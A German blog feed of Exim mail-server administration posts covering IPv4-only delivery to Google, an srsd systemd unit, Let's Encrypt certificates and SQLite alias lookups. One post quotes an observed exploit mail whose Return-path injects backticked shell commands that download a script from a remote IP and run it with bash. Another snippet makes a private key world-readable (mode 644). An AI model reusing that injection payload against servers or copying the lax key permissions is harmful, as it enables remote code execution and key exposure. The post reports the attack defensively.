Netz - Rettung - Recht (Artikel mit Tag exim)

Exim: Mailauslieferung nur über IPv4, bspw. an Google

nospam@example.com (Thomas Hochstein) — Sat, 10 Nov 2018 08:30:00 +0000

Vor einem Jahr hatte ich darüber berichtet, dass sich viele Probleme bei der Mailauslieferung an Google schlicht durch den Verzicht auf IPv6 für den Mailversand beheben lassen, und dafür auch eine Lösung vorgestellt. Diesen Weg würde ich aber nicht mehr empfehlen.

Die Verwendung eines eigenen Routers wird in vielen Fällen ein gangbarer Weg sein; er ist aber unnötig komplex und kann Schwierigkeiten aufwerfen, wenn es weitere Router für Spezialfälle gibt - denn dann wird ggf. nur der andere Router durchlaufen (oder der Router für “Mailauslieferung an Google über IPv4”, aber nicht der Router für den anderen Spezialfall).

Sehr viel einfacher und, so weit ich sehe, ohne Nebeneffekte ist die Vorgehensweise, die ich bereits in meinem damaligen Blogeintrag angesprochen habe (der heute auch entsprechend aktualisiert wurde): man beschränkt den DNS-Lookup für *.google.com auf IPv4. Dazu genügt eine einzelne Zeile im Hauptteil der Konfigurationsdatei, also vor ACLs, Routern und Co:

dns_ipv4_lookup = *.google.com

Man kann das ebenso leicht auch generischer lösen:

dns_ipv4_lookup = /etc/exim4/domains-force-ipv4-lookup

In /etc/exim4/domains-force-ipv4-lookup genügt dann ein Eintrag wie

*.google.com

Fertig. Tut. Ist viel simpler und weniger fehleranfällig.

Exim: Mailauslieferung über IPv4 erzwingen

nospam@example.com (Thomas Hochstein) — Mon, 18 Sep 2017 06:35:00 +0000

Man munkelt, dass insbesondere Google eingehende E-Mails unterschiedlich streng filtert, je nachdem, ob sie per IPv6 oder per IPv4 eingeliefert werden.

Google selbst deutet das in seinen Bulk Senders Guidelines durch den Abschnitt Additional guidelines for IPv6 an, und ich hatte verschiedentlich den Eindruck, dass E-Mail, die ich an Adressaten bei Google (GMail, Hosting, …) versende, dort jedenfalls nicht in der Inbox landet. Für Mails an GoogleGroups - die u.a. Mailinglisten mit einem Webinterface und Webarchiv darstellen - kann ich das sogar positiv belegen: versende ich E-Mails über IPv6 nach dort, werden sie zwar lt. Logfile angenommen, dann aber offensichtlich ausgefiltert. Jedenfalls erscheinen sie nie in der GoogleGroup, auch nach mehreren Versuchen und mehreren Tagen nicht. Versende ich dieselbe Mail aber über IPv4, trifft sie binnen Sekunden ein.

Ein solches Vorgehen mag sinnvoll erscheinen (immerhin kann ein Spammer IPv6-Adressen - im Gegensatz zum knappen IPv4-Adressarum - vermutlich wochenlang wechseln wie andere Leute ihre Unterhosen, so dass RBLs da wenig helfen), aber es macht die Sache für denjenigen, der Mail an Google loswerden will, nicht einfacher.

Die Lösung mag in einer Änderung der Konfiguration liegen; so soll es helfen, passende SPF-Einträge hinzuzufügen und die Mails mit DKIM zu signieren, aber damit muss ich mich zunächst näher beschäftigen, und ob das dann auch wirklich hilft, weiß ich dann noch immer nicht. Was das Problem aber definitiv - jedenfalls derzeit - löst, ist die Mailauslieferung über IPv4.

Exim bietet dafür verschiedene Lösungsmöglichkeiten:

Man kann IPv6 komplett abdrehen, indem man im Hauptteil der Konfiguration ein beherztes disable_ipv6 = true einfügt. Das will man aber vermutlich nicht.
Man kann Exim vorgeben, dass er für bestimmte Domains nur A-Records, also IPv4-DNS-Einträge, berücksichtigen soll, indem man im Hauptteil der Konfiguration die Option dns_ipv4_lookup mit einer entsprechenden Domainliste versogt, bspw. dns_ipv4_lookup = *.google.com. (Andere Domains wie gmail.com, googlemail.com oder googlegroups.com müssen nicht berücksichtigt werden, weil alle MXe auch dieser Domains auf google.com enden.) Das wäre eine Möglichkeit; ich bin mir aber nicht sicher, ob sich dabei nicht Seiteneffekte ergeben, d.h. die Folgen nicht nur auf die Mailauslieferung beschränkt sind.

Update vom 11.10.2018: Seiteneffekte sind nicht erkennbar, und ich würde genau diesen Weg empfehlen. Der nachfolgend vorgestellte Weg funktioniert nur dann, wenn es keine anderen Router für “Spezialfälle” gibt, die vorher greifen, und macht die Lösung unnötig kompliziert.

Eigentlich will ich ja nur, dass MX-Einträge ignoriert werden, die auf einen Host zeigen, der eine IPv6-Adresse hat, bzw. bei Hosts mit mehreren A- und AAAA-Records die letzteren ignoriert werden. Und glücklicherweise geht auch das.

Es genügt, einen neuen Router zu erstellen (und zwar vor dem Router, der normalerweise für die Auslieferung externer Mail zuständig ist, defaultmäßig dnslookup):

# This router routes remote addresses using ipv4 hosts only

ipv4_only:
  driver = dnslookup
  domains = +ipv4_forced_domains
  transport = remote_smtp
  ignore_target_hosts = <; 0::0/0

Dort kann man entweder die betreffenden Domains fest verdrahten, oder man löst es (wie hier) über eine Domainliste namens ipv4_forced_domains, die dann im Hauptteil der Konfiguration noch entsprechend definiert werden muss:

domainlist ipv4_forced_domains = /etc/exim4/domains-send-ipv4

In der Datei /etc/exim4/domains-send-ipv4 finden sich dann alle Domains, an deren MXe nur per IPv4 ausgeliefert werden soll, jeweils eine pro Zeile.

Ein Test bestätigt den Erfolg. Vorher:

# exim -bt postmaster@google.com
postmaster@google.com
  router = dnslookup, transport = remote_smtp
  host aspmx.l.google.com      [2a00:1450:400c:c06::1b] MX=10
  host aspmx.l.google.com      [64.233.184.26]          MX=10
  host alt1.aspmx.l.google.com [2a00:1450:4010:c07::1a] MX=20
  host alt1.aspmx.l.google.com [64.233.164.26]          MX=20
  host alt2.aspmx.l.google.com [2404:6800:4003:c02::1b] MX=30
  host alt2.aspmx.l.google.com [74.125.68.26]           MX=30
  host alt3.aspmx.l.google.com [2404:6800:4008:c02::1a] MX=40
  host alt3.aspmx.l.google.com [74.125.23.26]           MX=40
  host alt4.aspmx.l.google.com [2607:f8b0:400e:c00::1b] MX=50
  host alt4.aspmx.l.google.com [173.194.202.26]         MX=50

Nachher:

# exim -bt postmaster@google.com
postmaster@google.com
  router = ipv4_only, transport = remote_smtp
  host aspmx.l.google.com      [64.233.184.26]  MX=10
  host alt1.aspmx.l.google.com [64.233.164.26]  MX=20
  host alt2.aspmx.l.google.com [74.125.68.26]   MX=30
  host alt3.aspmx.l.google.com [74.125.23.26]   MX=40
  host alt4.aspmx.l.google.com [173.194.202.26] MX=50

Voilà.

Die Idee ist natürlich nicht von mir, sondern aus dem Exim-Wiki: How to force IPv4 connections for specific domains if IPv6 is enabled Ich habe sie allerdings etwas angepasst und vereinfacht.

Abschließend die Frage: Hat schon jemand Erfahrungen damit gemacht, SPF-Einträge und vor allem DKIM-Signaturen für eine Vielzahl potentieller Absenderdomains zu pflegen (und - bzgl. DKIM - mit Exim zu konfigurieren)? Ich stelle mir das nicht so ganz einfach vor.

Update (2018-06-03): Auch für den Mailserve Postfix gibt es eine vergleichbare Lösung - Prevent Postfix SMTP from contacting Google Mail using IPv6

Update (2018-11-10): Ich empfehle diesen Weg nicht mehr, sondern stattdessen diesen.

systemd-Unit für srsd unter Debian

nospam@example.com (Thomas Hochstein) — Mon, 14 Aug 2017 05:10:00 +0000

Ich fürchte, das wird einer dieser Beiträge, bei dem die notwendige Vorrede bald länger wird als der Beitrag selbst …

Aber fangen wir einfach einmal vorne an: Der Kampf gegen unerwünschte E-Mails, die einen mit Malware oder Angeboten für die Verlängerung oder Vergrößung verschiedenster Körperteile (neuerdings auch - noch sachnah - gerne für den Wechsel der Krankenkasse) beglücken, heutzutage meist als Spam bezeichnet, tobt seit Jahrzehnten. Nach den verschiedensten Filtern entstanden auch mehrere Ansätze, die gar nicht so sehr den Spam an sich bekämpfen, sondern weiter vorne - oder auch parallel - ansetzen und die (meist mit Spam verbundene) Fälschung von Absenderadressen verhindern bzw. umgekehrt eine (begrenzte) Garantie für die Echtheit des Absenders übernehmen wollen.

SPF und DKIM

Dazu gehören SPF (Sender Policy Framework, früher: sender permitted from) und DKIM (DomainKeys Identified Mail).

Bei SPF nutzt der Verantwortliche für eine Domain (meist ein Provider) das DNS (Domain Name System), um dort bekanntzugeben, von welchen Servern (welchen IP-Adressen) “echte” Mail mit einem Absender aus dieser Domain stammen dürfen. So kann bspw. GMX festlegen, dass legitime Mail mit einem Absender @gmx.net (also bspw. irgendwer@gmx.net) nur von einem ihrer Mailserver ausgehen dürfen:

thh@thangorodrim:~$ host -t txt gmx.net 
gmx.net descriptive text "v=spf1 ip4:213.165.64.0/23 ip4:74.208.5.64/26 ip4:212.227.126.128/25 ip4:212.227.15.0/25 ip4:212.227.17.0/27 ip4:74.208.4.192/26 ip4:82.165.159.0/24 ip4:217.72.207.0/27 -all"

(Da sieht man dann auch direkt das erste Problem: wer als Kunde von GMX eine E-Mail mit seiner GMX-Adresse über einen anderen Mailserver versenden will, steht vor Schwierigkeiten.)

SPF funktioniert besonders gut zusammen mit DNSEC, also digital signierten DNS-Einträgen, deren Echtheit sich prüfen lässt.

DKIM geht einen Schritt weiter und publiziert nicht (nur) eine (sich ggf. oft ändernde) Liste legitimer Absender-Server für eine Domain, sondern veröffentlicht im DNS einen digitalen Signaturschlüssel, mit dem dann die wesentlichen Teile der Header (“Kopfzeilen”) einer jeden ausgehenden Mail digital signiert werden. Auch hier steht natürlich vor Problemen, wer nicht den Server des Anbieters zum Mailversand nutzt, denn nur der kann entsprechend digital signieren.

SPF und auch DKIM werden aber vor allem dann zum Problem, wenn man E-Mails weiterleiten möchte - also eine Mailingliste betreibt, oder auch nur einen einfachen Mailverteiler, oder eine Mailweiterleitung von einem Postfach auf ein anderes eingerichtet hat. In allen Fällen geht dann nämlich die E-Mail mit dem (im Beispiel) GMX-Absender bei der Mailingliste (oder dem Mailverteiler, oder dem ersten eigenen Postfach) ein und wird von da weiterversandt (an die Teilnehmer der Mailingliste, den Verteiler ode das Weiterleitungsziel, also das andere eigene Postfach). Dort aber kommt die E-Mail mit einem GMX-Absender, aber von einem falschen Server aus an! (Nämlich von dem Mailinglistenserver, dem Mailverteiler-Server oder dem Server, der zum ersten eigenen Postfach gehört.) Das führt zu einer fehlschlagenden SPF-Prüfung, und wenn bei der Weiterleitung (gerade bei einer Mailingliste!) Header eingefügt oder geändert wurden, dann schlägt auch die DKIM-Signaturprüfung fehl.

SRS

Das SPF-Problem für Weiterleitungen lösen will SRS, das Sender Rewriting Scheme: der technische Absender der Mail (der Envelope-From) wird geändert, so dass die E-Mail nicht mehr von (im Beispiel) GMX kommt, sondern vom Weiterleitungsserver.

Die E-Mail von irgendwer@gmx.net wird also vom Server postfach.provider.example mit einem Absender wie weiterleitung@postfach.provider.example weitergeschickt. Jetzt kommt die Mail für den letztendlichen Empfänger vom “richtigen” Server, nämlich postfach.provider.example (sie hat ja keinen GMX-Absender mehr!).

Das allerdings ist nur der erste Schritt: Fehlermeldungen (wie zum Beispiel über ein volles Postfach) sollen ja nicht beim Weiterleitungsserver landen, sondern an den ursprünglichen Absender zurückgehen. Dieser muss sich also aus der neu erzeugten Absenderadresse rekonstruieren lassen. Da hilft so etwas wie VERP (Variable envelope return path); statt weiterleitung@postfach.provider.example nehmen wir also weiterleitung+irgendwer=gmx.netg@postfach.provider.example. Da steckt die alte Adresse drin; wir wissen also, wo wir Fehlermeldungen an diese Adresse hinschicken müssen.

Auch das genügt aber noch nicht; denn nur echte Fehlermeldungen sollen an den Absender zurückgehen, nicht aber möglicher Spam, der mit leerem Absender (wie eine Fehlermeldung) an die durch den Weiterleitungsserver erzeugte Absenderadresse geht. Was hinderte einen Spammer, seine unerwünschten Nachrichten an weiterleitung+irgendwer=gmx.netg@postfach.provider.example zu schicken? Und dann senden wir den Mist auch noch an irgendwer@gmx.net weiter! Die von uns erzeugten neuen Absenderadressen müssen also kryptographisch gesichert werden, damit nur wir sie erzeugen können, ein Dritter sie aber nicht erraten kann.

systemd unit file für srds

Und “schon” sind wir beim eigentlichen Thema dieses Eintrags angekommen!

Eine Software, die solche kryptographisch sicheren Absenderadressen erzeugen kann, ist srsd, der auch in Debian als Paket verfügbar ist. Auf meinem alten Server hatte ich das vor Jahren einmal kurzfristig aufsetzen müssen, weil Weiterleitungen (ein simpler Mailverteiler) scheiterten, und diese Lösung wollte ich nunmehr auch auf dem neuen Server haben.

Eine Anleitung für die Konfiguration von Exim 4 mit srsd hat Adrian Zaugg geschrieben; sie setzt allerdings auf ein altes sysvinit-Startup-Script. systemd kann zwar auch damit umgehen; ich hätte aber lieber ein “natives” unit file für systemd gehabt.

Also habe ich mich ein wenig belesen und bin bei folgender Lösung gelandet, die als /lib/systemd/system/srsd.service zu speichern ist:

[Unit]
Description='srsd - SRS daemon'
After=syslog.target

[Service]
Type=simple
User=Debian-exim
Restart=on-failure

ExecStart=/usr/bin/srsd --secretfile /etc/exim4/srsd.secret
ExecStopPost=/bin/rm /tmp/srsd

[Install]
WantedBy=multi-user.target

Dann noch das kryptographische Geheimnis erzeugen (bspw. mit openssl rand -base64 12 > /etc/exim4/srsd.secret), und dann kann es mit systemctl enable srsd und systemctl start srsd losgehen.

Meine Variante der Anbindung an Exim kann ich dann gelegentlich[tm] mal nachliefern.

Was meint die werte Leserschaft?

Ich bin sicher, es geht besser - das war mein erstes unit file, und vieles daran ist aus copy & paste mit nachfolgendem Ausprobieren entstanden. Vielleicht (nein, sogar sicher!) kann ich ja noch etwas von meinen Lesern lernen?

letsencrypt jenseits des Webservers

nospam@example.com (Thomas Hochstein) — Tue, 30 Aug 2016 14:30:00 +0000

Vor einigen Monaten hatte ich über letsencrypt, die neue Zertifizierungsstelle für TLS-Zertifikate, berichtet und demletzt meine guten Erfahrungen damit dargestellt. Doch HTTP ist ja nicht das einzige Protokoll, das einer Absicherung bedarf. Wie sieht es mit TLS-Zertifikaten für Mail (SMTP und POP3 oder IMAP) und News (NNTP) oder noch andere Dienste aus?

Grundsätzlich ist das kein Problem: vorhandene Zertifikate mit dem (oder den) passenden Hostnamen müssen nur eingebunden werden.

In der Folge stelle ich die Vorgehensweise ausgehend von einem Debian-Jessie-System aus vor.

Erhalt des Zertifikats

Am einfachsten ist das, wenn unter jedem Hostnamen auch ein Webserver erreichbar ist; dann kann nämlich einfach das webroot-Plugin verwendet werden. Ist das nicht der Fall, kommen bspw. das manual-Plugin oder das external-Plugin in Betracht.

Installation des Zertifikats

Das bereits - für den Webserver - vorhandene oder neu erhaltene Zertifikat und der zugehörige Schlüssel ( Key), die üblicherweise im Verzeichnis /etc/letsencrypt/live/domain.example/ liegen, können nun eingebunden werden - entweder das Zertifikat und die ganze Zertifikatskette mit allen Zwischenzertifikaten zusammen in einer Datei (fullchain.pem), oder das Zertifikat (cert.pem) und die Zwischenzertifikate (chain.pem) getrennt, je nachdem, was die Applikation unterstützt.

Nicht immer ist es aber ohne weiteres möglich, unmittelbar auf die Dateien in /etc/letsencrypt/live/domain.example/ zuzugreifen, die root:root gehören und aufgrund der Verzeichnisrechte auch nur für root lesbar sind. Manche Programme (bspw. der Mailserver Exim) greifen nämlich auf die Zertifikate zu einem Zeitpunkt zu, zu dem sie bereits keine Root-Rechte mehr haben; und es erscheint wenig tunlich, sie in die Gruppe root aufzunehmen oder gar Zertifikat und Key weltweit lesbar zu machen. Andere Programme wiederum haben ausgesprochen strikte Vorstellungen darüber, welchem Benutzer und/oder welcher Gruppe die Dateien “gehören” müssen und wie die Zugriffsrechte auszusehen haben (so z.B. der Newsserver INN, der erwartet, dass der Key ausschließlich für den User news lesbar ist). In diesen Fällen wird es m.E. unausweichlich sein, Kopien der Zertifikate und des Keys mit den passenden Rechten anzulegen.

Dovecot

Der POP3- und IMAP-Server Dovecot greift als root auf die Zertifikate zu und kann - jedenfalls in seiner in Debian Jessie enthaltenen Version 2.2.13 - die Zertifikatskette (fullchain.pem) verarbeiten. Es genügt also, Zertifikat und Key einzubinden und die Serverkonfiguration neu einzulesen (service dovecot reload).

Exim

Anders sieht es mit dem SMTP-Server Exim aus. Dieser gibt seine Root-Rechte auf, bevor er auf die TLS-Zertifikate zugreift. Immerhin kommt auch er mit fullchain.pem klar.

Eine Möglichkeit ist es, Zertifikat und Key in ein passendes Verzeichnis zu kopieren und dann Eigentümer und Rechte (644!) anzupassen, bspw. so:

cd /etc/exim4
mkdir certs 
cp /etc/letsencrypt/live/domain.example/fullchain.pem /etc/exim4/certs/
cp /etc/letsencrypt/live/domain.example/privkey.pem /etc/exim4/certs/
service exim4 restart
chown Debian-exim:Debian-exim /etc/exim4/certs/
chown Debian-exim:Debian-exim /etc/exim4/certs/*
chmod 644 /etc/exim4/certs/*

Ein solches Vorgehen wird dann auch bei jeder Erneuerung der Zertifikate erforderlich (s.u.)!

Danach genügt es, die Serverkonfiguration neu zu laden (service exim4 reload) und sich dann zu Testzwecken auf Port 25 zu verbinden und nach dem EHLO ein STARTTLS abzusetzen.

INN

INN stellt - jedenfalls in der in Debian Jessie enthaltenen Version 2.5.4 - ganz besondere Ansprüche: jedenfalls der Key muss für den Benutzer news lesbar sein, und er benötigt cert.pem und chain.pem getrennt.

Umsetzen könnte man das bspw. so:

cd /etc/news
mkdir certs 
cp /etc/letsencrypt/live/domain.example/cert.pem /etc/news/certs/
cp /etc/letsencrypt/live/domain.example/chain.pem /etc/news/certs/
cp /etc/letsencrypt/live/domain.example/privkey.pem /etc/news/certs/
chown news:news /etc/news/certs/*
chmod 600 /etc/news/certs/*

Auch hier muss man dieses Vorgehen für eine Erneuerung der Zertifikate im Blick behalten (s.u.).

Ein Einlesen der inn.conf später (service inn2 restart) sollte dann alles funktionieren wie geplant.

Zertifikat-Updates

Die nunmehr im Dateisystem verstreuten Zertifikatskopien müssen nach jeder Erneuerung des Zertifikats gleichfalls erneuert werden, damit nicht ein ungültiges Zertifikat ausgeliefert wird. Sinnvollerweise geschieht das ebenso automatisiert wie die Erneuerung des Zertifikats; hilfreich dabei die Möglichkeit, letsencrypt (bzw. certbot) mittels --post-hook nach einem Zertifikatsaustausch ein Script ablaufen zu lassen.

Exim

Man könnte sich daher bspw. eine Datei /usr/local/bin/certbot-exim4-renew.sh mit folgendem Inhalt anlegen:

#!/bin/dash
cp /etc/letsencrypt/live/domain.example/fullchain.pem /etc/exim4/certs/
cp /etc/letsencrypt/live/domain.example/privkey.pem /etc/exim4/certs/
service exim4 reload

Dazu passt dann ein Cron-Eintrag der folgenden Art:

certbot certonly --quiet -n --webroot -w /var/www/domain.example -d domain.example --keep-until-expiring --post-hook /usr/local/bin/certbot-exim4-renew.sh

Damit wird versucht, das Zertifikat für diesen Hostnamen (domain.example) zu erneuern, jedoch nur, wenn es der Erneuerung bedürftig ist.

Der Aufruf sollte in der Crontab zeitlich vor dem allgemeinen Aufruf certbot renew --quiet erfolgen, damit erst das spezielle Zertifikat aktualisiert (und ggf. umkopiert) wird und danach die übrigen.

INN

Für den INN sähe diese Lösung analog mit einer Datei /usr/local/bin/certbot-inn2-renew.sh so aus:

#!/bin/dash
cp /etc/letsencrypt/live/domain.example/cert.pem /etc/news/certs
cp /etc/letsencrypt/live/domain.example/chain.pem /etc/news/certs
cp /etc/letsencrypt/live/domain.example/privkey.pem /etc/news/certs
cd /etc/news/certs
chown news:news *.pem
chmod 600 *.pem
service inn2 reload

Der Cron-Eintrag wäre dann entsprechend:

certbot certonly --quiet -n --webroot -w /var/www/domain.example -d domain.example --keep-until-expiring --post-hook /usr/local/bin/certbot-inn2-renew.sh

Auch dieser Eintrag muss zeitlich vor dem allgemeinen Aufruf certbot renew --quiet liegen.

Und ihr?

So richtig optimal erscheinen mir diese Lösungen noch nicht. Gibt es bessere Ideen? Andere Erfahrungen?

Nutzt ihr letsencrypt noch für andere Dienste als die oben genannten?

An Euren Erfahrungen und Lösungen wäre ich interessiert und freue mich daher über Kommentare, Hinweise und Ergänzungen.

Vom Advisory zum Exploit binnen eines Tages

nospam@example.com (Thomas Hochstein) — Sun, 05 May 2013 09:29:00 +0000

Am Freitag, dem dritten Mai, wurde ein Warnhinweis (Advisory) auf eine weit verbreitete Fehlkonfiguration in der Kombination von Exim mit Dovecot publiziert: ein offenbar seit 23.10.2009 im Dovecot-Wiki veröffentliches Konfigurationsbeispiel für Exim, mit dem eingehende E-Mails durch den zu Dovecot gehörenden LDA deliver ausgeliefert werden sollen, enthielt auch die Option "use_shell", die dazu führt, dass der Aufruf insgesamt zur Ausführung an die Shell weitergegeben wird. Das is potentiell unsicher, wie auch die Exim-Dokumentation erläutert:

Not running the command under a shell (by default) lessens the security risks in cases when a command from a user’s filter file is built out of data that was taken from an incoming message. If a shell is required, it can of course be explicitly specified as the command to be run. However, there are circumstances where existing commands (for example, in .forward files) expect to be run under a shell and cannot easily be modified. To allow for these cases, there is an option called use_shell, which changes the way the pipe transport works. Instead of breaking up the command line as just described, it expands it as a single string and passes the result to /bin/sh. The restrict_to_path option and the $pipe_addresses facility cannot be used with use_shell, and the whole mechanism is inherently less secure.

Wenn es jemandem gelingt, ausführbaren Code in diesen Aufruf einzuschleusen, kann er fremden Code mit den Rechten von Exim ausführen, die im Moment der Auslieferung von Mail mit dem LDA deliver bestenfalls Zugriff auf alle Mailboxen ermöglichen und bei leichtsinniger Konfiguration - die im Dovecot-Wiki als eine Konfigurationsmöglichkeit ausdrücklich genannt wird! - schlimmstenfalls sogar root sind. Und dieses Einschleusen ist ausgesprochen einfach, enthält der Aufruf von deliver doch u.a. den Absender der E-Mail, den sog. Envelope-From (oder auch Return-Path), bspw. so: command = /usr/local/libexec/dovecot/dovecot-lda -d $local_part@$domain -f $sender_address

$sender_address ist hier der problematische Parameter, denn diesen Parameter kann der Absender der E-Mail frei setzen. Durch die Option use_shell wird der obige Aufruf nach Ersatz der Variablen ohne jede Modifikation komplett an die Shell übergeben und ggf. entsprechender Code ausgeführt.

Am 02.05.2013 wurde das Beispiel im Wiki für Dovecot 1.x und auch in der Dokumentation für Dovecot 2.x berichtigt, am 03.05.2013 wurde das Advisoy veröffentlicht.

Und schon am Abend des Folgetages flog mir auf einem meiner Server folgende - ansonsten notwendige Header und vor allen auch einen Inhalt nicht enthaltende - E-Mail zu, die das Beispiel für einen Exploit aus dem Advisory abgewandelt übernommen hat:

Return-path: <red`wget${IFS}178.218.211.118/b${IFS}-O${IFS}/tmp/a.pl“bash${IFS}/tmp/a.pl`team@example.com>
Envelope-to: postmaster@greenmeadow.szaf.org
Delivery-date: Sat, 04 May 2013 21:57:19 +0200
Received: from [178.218.211.118] (helo=abcde.com)
    by greenmeadow.szaf.org with esmtp (Exim 4.72)
    (envelope-from <red`wget${IFS}178.218.211.118/b${IFS}-O${IFS}/tmp/a.pl“bash${IFS}/tmp/a.pl`team@example.com>)
    id 1UYia4-000387-Es
    for postmaster@greenmeadow.szaf.org; Sat, 04 May 2013 21:57:19 +0200
Subject: test

Die oben gezeigte problematische Konfiguration würde dann dazu führen, dass bei der Auslieferung der Mail die beiden folgenden Befehle mit den Rechten des Mailservers ausgeführt würden:

wget 178.218.211.118/b -O /tmp/a.pl
bash /tmp/a.pl

Es würde also die Datei b von der Maschine heruntergeladen und in der Datei a.pl im Verzeichnis /tmp gespeichert und dann ausgeführt.

Glücklicherweise verwende ich zwar sowohl Exim als auch Dovecot, aber in einer anderen Konfiguration, so dass dieser Versuch eines Exploits kein Problem darstellte, aber man merkt einmal wieder, wie schnell nach der Veröffentlichung von Advisories man von solchen Versuchen, bestehende Programm- oder Konfigurationsfehler auszunutzen, betroffen wird.

(Als ich mich damit näher beschäftigt habe, war die o.g. Datei übrigens bereits nicht mehr aufrufbar.)

Personalisierte Mailadressen

nospam@example.com (Thomas Hochstein) — Sun, 08 Nov 2009 21:04:00 +0000

Schon seit vielen Jahren verwende ich eine Subdomain zur Vergabe von personalisierten E-Mail-Adressen, die ich dann für Zwecke verwenden kann, bei denen ich meine normale E-Mail-Adresse nicht preisgeben möchte, bspw. das Abonnieren von Newslettern, an deren Seriösität ich Zweifel habe, für Webshops etc. pp. Das hat den Vorteil, daß sich über diese personalisierten E-Mail-Adressen nachvollziehen läßt, aus welcher Quelle bspw. Spammer ihre Adressen bezogen haben, und, viel wichtiger, daß sich diese Adressen rückstandslos entsorgen lassen, wenn sie missbraucht werden. Insgesamt eine gute Idee; die Frage ist immer nur, wie man sich diese Adressen erzeugt.

Meine erste Lösung war ein Catch-All, was aber den Zweck der Übung letztlich konterkarierte, weil man auf diese Weise eine unbegrenzte Anzahl valider E-Mail-Adressen erzeugt und Spam potentiell potenziert. Zwar kann man bestimmte Adressen selektiv deaktivieren, bspw. über eine Aliases-Datei, in der sie explizit geerdet werden und ein Catch-All als Fallback für nicht explizit definierte Adressen verwendet wird, aber Spammer permutieren Adressen gerne; wenn man abashop@domain.example deaktiviert, bekommt man stattdessen vielleicht Mail an abasho@domain.example und an abash@domain.example und an … So hat sich das nicht bewährt.

Also habe ich die Adressen stattdessen in einer Aliases-Datei explizit definiert (und für eine Übergangszeit doch einen Catch-All als Fallback verwendet, für den Fall, daß ich eine bereits verwendete Adresse vergessen hatte …). Das tat etliche Jahre seinen Zweck, hatte aber den Nachteil, daß ich mich für Änderungen immer erst auf dem entsprechenden Host einloggen und die Datei ändern mußte. Unbequem und, wenn man gerade unterwegs ist und nur Webzugriff hat, erst gar nicht möglich. Also habe ich reichlich oft doch meine Hauptadresse für diverse Anmeldungen verwendet; diesen Nachteil gab es bei der Verwendung des Catch-All nicht.

Die Lösung wäre - so war mir ebenfalls seit langer Zeit klar - die Verwendung eines bequemen, nach Möglichkeit webbasierten Interfaces zur Anlage neuer solcher Adressen, damit der innere Schweinehund nicht mehr dazwischenkommen kann. Und diese Lösung habe ich jetzt endlich umgesetzt. Zumindest provisorisch, aber das wird vermutlich wieder so ein langlebiges Provisorium werden …

Der richtige Weg ist eigentlich ganz einfach: eine Weboberfläche, mit der man Mailadressen anlegen, ändern und löschen kann, dazu eine Datenbank, in der sie gespeichert werden, und eine Änderung in der Exim-Konfiguration, damit der Mailserver auf diese Datenbank zugreift. Bereits Ende 2007/Anfang 2008 habe ich das für das "Szafshosting" gelöst; auf diese Lösung konnte ich jetzt für mich aufsetzen. Allerdings habe ich mich - aus mir mittlerweile selbst unklaren Gründen - entschlossen, als Datenbank diesmal nicht mySQL, sondern SQLite zu verwenden, was zu weniger amüsanten Abstechern zu den verschiedenen SQLite-Versionen führte: mit der einen kann Exim nicht umgehen (dort wird SQLite 3.x benötigt), die andere wird von PHP nicht nativ unterstützt (da geht es nämlich um SQLite 2.x). *tiefseufz* Die Lösung war dann, den Zugriff in PHP noch einmal neu mittels PHP Data Objects (PDO) zu implementieren; auf diese Weise wird nämlich auch SQLite 3.x unterstützt.

Die Datenbank für die Mailadressen sieht recht einfach aus:

CREATE TABLE addresses (keyid INTEGER PRIMARY KEY ASC, domain TEXT, mail TEXT, comment TEXT);

Dort werden dann Mailadressen - auch unter verschiedenen Domains - abgelegt. Exim wird dann mitgeteilt, in welchen Domains Adressen via SQLite vergeben werden, und für diese Adressen ein entsprechender Router angelegt:

sqlite_aliases:
  driver = redirect
  domains = /etc/exim/domains-sqlite
  require_files = /etc/exim/sqlite-address.db
  data = ${lookup sqlite {/etc/exim/sqlite-address.db \
         select target from addresses \
         where mail='${quote_sqlite:$local_part}' \
         and domain='${quote_sqlite:$domain}';}}
  user = exim
  check_ancestor
  file_transport = address_file
  pipe_transport = address_pipe

Wenn man einmal dabei ist, kann man in ähnlicher Weise auch "virtuelle Mailboxen" als Maildir im Home des jeweiligen Users unterstützen. Die zugehörige SQLite-Datenbank sieht so aus:

CREATE TABLE mailuser (keyid INTEGER PRIMARY KEY ASC, username TEXT, password TEXT, uid TEXT);

Der zuständige Router in Exim für diese "virtuellen Mailboxen", implementiert als lokal zustellbare Adresse, sieht folgendermaßen aus:

 sqlite_user:
   driver = accept
   domains = +hostname
   local_parts = ${lookup sqlite {/etc/exim/sqlite-mailboxes.db \
          select username from mailuser \
          where username='${quote_sqlite:$local_part}' }}
   address_data = ${lookup sqlite {/etc/exim/sqlite-mailboxes.db \
          select uid from mailuser \
          where username='${quote_sqlite:$local_part}' }}
   transport = sqlite_delivery
   cannot_route_message = Unknown user

Und so sieht der zugehörige Transport aus:

sqlite_delivery:
  driver = appendfile
  maildir_format = true
  directory = /home/$address_data/mailstore/$local_part
  delivery_date_add
  envelope_to_add
  return_path_add
  user = $address_data
  group = users
  mode = 0660

Abfragen muß man die Mailboxen natürlich auch; als POP3-/IMAP-Server verwende ich Dovecot. Dort wird folgendes in der Konfiguration ergänzt:

 passdb sql {
   # Path for SQL configuration file, see /etc/dovecot/dovecot-sql.conf for example
   args = /etc/dovecot/sqlite.conf
 }

Und die Datei /etc/dovecot/sqlite.conf sieht so aus (ohne Zeilenumbrüche):

driver = sqlite
connect = /etc/exim/sqlite-mailboxes.db
default_pass_scheme = PLAIN
password_query = SELECT username as user, password, '/home/' || uid || '/mailstore/' || username AS userdb_home,'maildir:/home/' || uid || '/mailstore/' || username AS userdb_mail, uid AS userdb_uid, 100 AS userdb_gid FROM mailuser WHERE username = '%u'

Und siehe da: es tut.